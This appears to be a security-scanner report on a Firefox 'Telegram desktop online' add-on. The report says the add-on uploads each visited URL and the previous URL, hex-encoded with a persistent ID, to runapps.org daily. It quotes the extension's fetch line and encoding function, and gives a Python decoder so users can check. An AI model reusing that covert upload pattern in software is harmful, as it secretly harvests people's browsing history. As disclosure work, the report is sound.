Is Telegram desktop online safe?

Medium risk

Telegram desktop online sends the full URL of each page you navigate to, plus the previous URL, to runapps.org daily.

The extension is a Telegram Desktop Online launcher, but its background script reads every top-level navigation on http and https sites. Once per day it sends the current and previous URL (hex-encoded, not encrypted) with a persistent random user ID to www.runapps.org. It also checks .bnt and .blen file URLs with the server, which can reply to make the extension open a runapps.org page in a new tab.

RunAppsv1.1.5Firefox Add-ons
51Risk
Who publishes it

RunApps - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
RunApps
Website
www.runapps.org/telegram-desktop-online/

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Telegram launcher sends visited and previous page URLs to runapps.org daily

Code analysis shows the extension sends each top-level page URL and the tab's previous URL, hex-encoded with a persistent ID, to www.runapps.org once per day on all http/https sites.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You navigate a tab to any web page.

The extension did this

The extension sends that page's URL and the tab's previous URL to www.runapps.org, at most once per day.

The request carries a persistent random ID.

The code that does this

Navigation listener and upload call

Readable version

Upload request with hex-encoded URLs

runapps.js
let r56y = await fetch('https://www.runapps.org/app/applicaton-telegram.php?d22=' + d22 + '&fpah=' + b2hxx(uullrx) + '&xx=1&u=' + un);

b2hxx is plain hex encoding of character codes

runapps.js
function b2hxx (bin){  var i = 0, l = bin.length, chr, hex = ''  for (i; i < l; ++i)  {    chr = bin.charCodeAt(i).toString(16)    hex += chr.length < 2 ? '0' + chr : chr  }  return hex}
Query parameters sent to www.runapps.org/app/applicaton-telegram.php
  • fpah
    68747470733a2f2f6578616d706c652e636f6d2f706167653f713d317c7c7c...

    Hex of the visited URL, then ||| and the tab's previous URL.

  • u
    k3x9qpw2za

    Persistent random 10-character ID stored in local storage.

  • d22
    09

    Day of month, used for the once-per-day gate.

  • xx
    1

    Fixed flag value.

Where the data goes
    • www.runapps.org

    Receives the hex-encoded URL pair and user ID; also the vendor site opened by the extension.

Check if you're affected

Decodes the fpah value from a runapps.org request back into the URL pair.

Requires
  • Python 3
decode_fpah.py · py
import sysh = sys.argv[1]print(bytes.fromhex(h).decode('utf-8', 'replace'))
How to run it
  1. 1Copy the fpah value from the request.
  2. 2Run python3 decode_fpah.py <value>.
  3. 3Output shows current URL, |||, previous URL.
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.1.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every secure site you visit

    https://*/*

  • Read and change your data on every site you visit

    http://*/*

  • Store data in your browser

    storage

  • See every page you navigate to, as you navigate to it

    webNavigation

Where it sends data

Destinations our analysis observed Telegram desktop online contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.runapps.org

    Telegram desktop online sends data to www.runapps.org. 16 other extensions we have analysed send data here.

Updated 15 October 2026amo-2837739